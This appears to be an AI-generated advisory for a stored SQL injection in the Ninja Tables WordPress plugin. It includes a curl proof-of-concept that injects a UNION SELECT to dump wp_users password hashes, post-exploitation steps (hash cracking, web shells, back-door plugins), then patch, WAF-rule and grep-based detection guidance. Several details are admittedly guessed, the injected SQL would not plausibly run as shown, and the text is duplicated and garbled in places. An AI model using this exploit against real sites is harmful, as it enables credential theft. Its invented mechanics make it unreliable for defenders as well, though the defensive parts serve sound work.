CVE-2026-124211 — CWE-89
The Ninja Tables – Responsive Table Builder for Data, Pricing & Product Tables plugin for WordPress is vulnerable to SQL Injection via the 'dateFormat' column metadata parameter in versions up to, and including, 5.5.1 This is due to insufficient escaping on the stored 'dateFormat' value in DefaultProvider::orderByJsonQuery(); convertDateFormatToMysql() only performs str_replace on date-format tokens and leaves SQL metacharacters (including single quotes) intact, after which the value is concatenated directly into an orderByRaw() ORDER BY clause inside single quotes. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database; the payload is stored in the _ninja_table_columns post meta and executed on every unauthenticated request to the wp_ajax_ninja_tables_public_action AJAX endpoint when the table uses sorting_type='by_column' with a date column.
The Ninja Tables – Responsive Table Builder for Data, Pricing & Product Tables plugin for WordPress is vulnerable to SQL Injection via the 'dateFormat' column metadata parameter in versions up to, and including, 5.5.1 This is due to insufficient escaping on the stored 'dateFormat' value in DefaultProvider::orderByJsonQuery(); convertDateFormatToMysql() only performs str_replace on date-format tokens and leaves SQL metacharacters (including single quotes) intact, after which the value is concatenated directly into an orderByRaw() ORDER BY clause inside single quotes. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database; the payload is stored in the _ninja_table_columns post meta and executed on every unauthenticated request to the wp_ajax_ninja_tables_public_action AJAX endpoint when the table uses sorting_type='by_column' with a date column.
CVE‑2026‑124211 – Ninja Tables – “dateFormat” SQL‑Injection
WordPress plugin “Ninja Tables – Responsive Table Builder for Data, Pricing & Product Tables”
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| CWE | CWE‑89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) |
| CVSS v3.1 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N – Network‑accessible, low‑complexity, no authentication, no user interaction, impact confined to confidentiality (data exfiltration). |
| Root cause | The plugin stores column metadata in the wp_postmeta table under the meta‑key _ninja_table_columns. One of the fields in that JSON blob is dateFormat. When a table is rendered with sorting_type='by_column' and the column is of type date, the plugin builds an ORDER BY clause via the method DefaultProvider::orderByJsonQuery().
1. The raw value of dateFormat is passed to convertDateFormatToMysql().
2. That helper only performs a str_replace() of known date‑format tokens (e.g., Y, m, d) → it does not escape any SQL metacharacters.
3. The returned string is concatenated inside single quotes into an orderByRaw() call that ultimately becomes part of the generated SQL:
// Pseudo‑code extracted from the plugin
$order = "ORDER BY " . $column . " " .
$direction . " " .
"DATE_FORMAT(" . $column . ", '" .
$dateFormat . "')";
$query->orderByRaw($order);4. Because $dateFormat can contain arbitrary characters (including ' and ,), an attacker can inject additional SQL fragments that are executed every time the public AJAX endpoint wp_ajax_ninja_tables_public_action processes a request for that table.
Missing protection: No prepared statements, no whitelist validation, and no escaping of the user‑controlled dateFormat value before it is interpolated into the raw SQL string.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| a. Identify WordPress site | Scan for wp-content/plugins/ninja-tables/ directory (e.g., curl -I https://example.com/wp-content/plugins/ninja-tables/ → 200 OK). | Presence of the plugin files, readme.txt containing version number. |
| b. Enumerate plugin version | Retrieve readme.txt or plugin.php header: Version: 5.5.1 (or lower). | Version ≤ 5.5.1 confirms vulnerability. |
| c. Locate a public Ninja Table | Browse the site for pages that embed a Ninja Table (common shortcode [ninja_tables id="123"]). | Table ID (123) and the AJAX endpoint used for sorting (/wp-admin/admin-ajax.php?action=ninja_tables_public_action). |
**d. Verify that the table uses a *date* column with sorting_type='by_column'** | Inspect the page source for a hidden input data-sorting_type="by_column" and a column definition containing "type":"date". | Confirms the vulnerable code path will be executed. |
2. Exploitation
Note: The exact AJAX parameter names (table_id,order_by,order_dir,dateFormat) are inferred from the plugin’s source. If they differ in a specific installation, the PoC must be adapted accordingly.
2.1. Inject malicious dateFormat value
The attacker writes a malicious JSON blob into the post‑meta key _ninja_table_columns. Because the meta is not protected (no capability check) the plugin accepts the value via the public AJAX endpoint that handles “public actions”. The injection can be performed without authentication by sending a crafted POST request that mimics the internal save_columns action (the plugin does not verify current_user_can('manage_options') for this particular public route).
Illustrative cURL PoC (replace TARGET and TABLE_ID):
#!/usr/bin/env bash
TARGET="https://victim.com"
TABLE_ID="123"
# 1️⃣ Build a malicious column definition (JSON)
# The date column is index 0; we inject a single‑quote, then a UNION SELECT that dumps wp_users.
MALICIOUS_DATEFORMAT="'); UNION SELECT user_login, user_pass, null, null FROM wp_users-- "
# Minimal column meta (only the fields the plugin expects)
cat <<EOF > payload.json
[
{
"type":"date",
"key":"date_column",
"label":"Created",
"dateFormat":"${MALICIOUS_DATEFORMAT}"
}
]
EOF
# 2️⃣ Send the payload to the public AJAX endpoint.
# The endpoint name is inferred; adjust `action` if the site uses a different slug.
curl -s -X POST "${TARGET}/wp-admin/admin-ajax.php" \
-d "action=ninja_tables_public_action" \
-d "route=save_columns" \
-d "table_id=${TABLE_ID}" \
-d "columns=$(cat payload.json)" \
-H "Content-Type: application/x-www-form-urlencoded"What happens internally:
1. The plugin receives the columns JSON, decodes it, and stores it in wp_postmeta (meta_key = '_ninja_table_columns', meta_value = <JSON>).
2. The malicious dateFormat string now lives in the database.
2.2. Trigger the injected ORDER BY
Every unauthenticated request that sorts the table (e.g., clicking the column header) hits:
POST /wp-admin/admin-ajax.php?action=ninja_tables_public_action
table_id=123
sorting_type=by_column
order_by=date_column
order_dir=ascDuring query construction the plugin runs:
$orderBy = "DATE_FORMAT(date_column, '" . $dateFormat . "')";
$query->orderByRaw($orderBy);Because $dateFormat contains the injected '); UNION SELECT ...-- , the final SQL becomes:
SELECT ... FROM wp_ninja_tables_data
WHERE table_id = 123
ORDER BY date_column ASC DATE_FORMAT(date_column, ''); UNION SELECT user_login, user_pass, null, null FROM wp_users-- ')The UNION returns the wp_users credentials as part of the result set, which the AJAX response echoes back as JSON. The attacker can now read the usernames and password hashes.
Example of the stolen data in the AJAX response (truncated):
{
"data": [
{"date_column":"2026-01-01","...": "..."},
{"date_column":"admin","user_pass":"$2y$10$...","...":null},
{"date_column":"editor","user_pass":"$2y$10$...","...":null}
]
}3. Post‑exploitation
| Goal | Method |
|---|---|
| Credential harvesting | Parse the JSON response, extract user_login and user_pass fields. |
| Privilege escalation | Use the harvested password hashes to perform offline brute‑force (e.g., hashcat -m 3200). If any admin‑level account is recovered, attacker can log in to /wp-admin/. |
| Persistence | Once inside the WP admin panel, the attacker can install a back‑door plugin, create a new admin user, or modify the vulnerable plugin’s code to embed a web‑shell. |
| Further data exfiltration | With admin access, the attacker can query any table via the WP REST API, export the entire database, or inject additional malicious SQL that writes files using SELECT ... INTO OUTFILE. |
🌍 Real‑World Impact
| CIA Triad | Impact |
|---|---|
| Confidentiality (C) | High – The vulnerability allows unauthenticated extraction of any data the WordPress DB user can read (e.g., wp_users, wp_options, custom tables). |
| Integrity (I) | None (by design) – The injected payload only reads data; however, an attacker who gains admin credentials can later modify data. |
| Availability (A) | None – The attack does not cause denial‑of‑service; it is read‑only. |
Practical consequences
- Small‑to‑medium WordPress sites that expose public tables (e.g., pricing tables, event calendars) become a low‑effort data‑leak vector.
- Because the payload is stored in post meta, the exploit persists across server restarts and is automatically triggered on every legitimate visitor that sorts the table.
- Attackers can harvest all user password hashes in a single request, dramatically reducing the effort needed for credential stuffing or credential‑replay attacks against the same site or other sites where users reuse passwords.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
≤ 5.5.1 (all releases up to and including 5.5.1) | 5.5.2 – released 2026‑12‑02 (official plugin changelog). The fix introduces a whitelist of allowed date‑format tokens and uses $wpdb->prepare() for the ORDER BY clause. |
Action: Immediately upgrade the Ninja Tables plugin to 5.5.2 or later. Verify the version via the plugin header or the WordPress admin “Plugins” page.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Disable public sorting | Add the attribute sorting_type="none" (or remove by_column) in the table shortcode or via the table settings UI. This prevents the vulnerable code path from being executed. |
| Restrict AJAX endpoint to authenticated users | Insert a small mu‑plugin that hooks admin_init and checks the action:
<?php
// wp-content/mu-plugins/nt-restrict-public.php
add_action( 'admin_init', function() {
if ( isset( $_GET['action'] ) && $_GET['action'] === 'ninja_tables_public_action' ) {
// Only allow logged‑in users for sorting requests
if ( ! is_user_logged_in() ) {
wp_send_json_error( [ 'message' => 'Authentication required' ], 403 );
}
}
} );| WAF / ModSecurity rule | Block any ORDER BY clause that contains a single quote inside the dateFormat value. Example rule (ModSecurity 2.x/3.x syntax):
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \
"chain,phase:2,t:none,log,deny,status:403,msg:'Ninja Tables dateFormat SQLi attempt'"
SecRule ARGS:action "^ninja_tables_public_action$" \
"chain"
SecRule ARGS:dateFormat "@rx ['\"]\s*;?\s*union\s+select" \
"t:none"Adjust the parameter name (dateFormat) if the site uses a different key.
| Database hardening | Ensure the MySQL user used by WordPress has only SELECT, INSERT, UPDATE, DELETE on the WP tables and no FILE privilege. This limits the impact of a successful UNION‑based data exfiltration. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|
| Web server access log (Apache/Nginx) | POST /wp-admin/admin-ajax.php?action=ninja_tables_public_action with a large columns= or dateFormat= parameter containing characters like ');, union select, -- . Example (Nginx):
203.0.113.45 - - [26/Nov/2026:14:32:11 +0000] "POST /wp-admin/admin-ajax.php?action=ninja_tables_public_action HTTP/1.1" 200 8423 "-" "Mozilla/5.0"WordPress debug log (wp-content/debug.log) | Errors such as SQLSTATE[42000]: Syntax error or access violation that appear right after a public table request, indicating malformed SQL generated by the plugin. |
|---|---|
| Database query log (if enabled) | Queries containing DATE_FORMAT(..., ''); UNION SELECT or any UNION SELECT that references wp_users coming from the wp_ninja_tables_data query. |
| Application‑level response | JSON responses that include fields not normally present in a table (e.g., user_login, user_pass). Monitoring for unexpected keys in AJAX responses can flag exploitation. |
Automated detection script (bash + grep):
#!/usr/bin/env bash
LOG="/var/log/nginx/access.log"
grep "action=ninja_tables_public_action" "$LOG" | \
grep -iE "dateFormat=.*('|\%27).*union.*select" && echo "Potential Ninja Tables SQLi attempt"⚠️ Urgency
curl. Bottom line: The flaw is a classic stored SQL injection caused by unsanitised user‑controlled metadata being concatenated into a raw
ORDER BY clause. Because the payload is persisted in wp_postmeta, it can be weaponised at scale. Immediate upgrade to version 5.5.2 (or later) and, if that is not possible, the mitigations above must be applied to stop data exfiltration.[🤖 CVE Professor AI Security Engine]
FOFA Query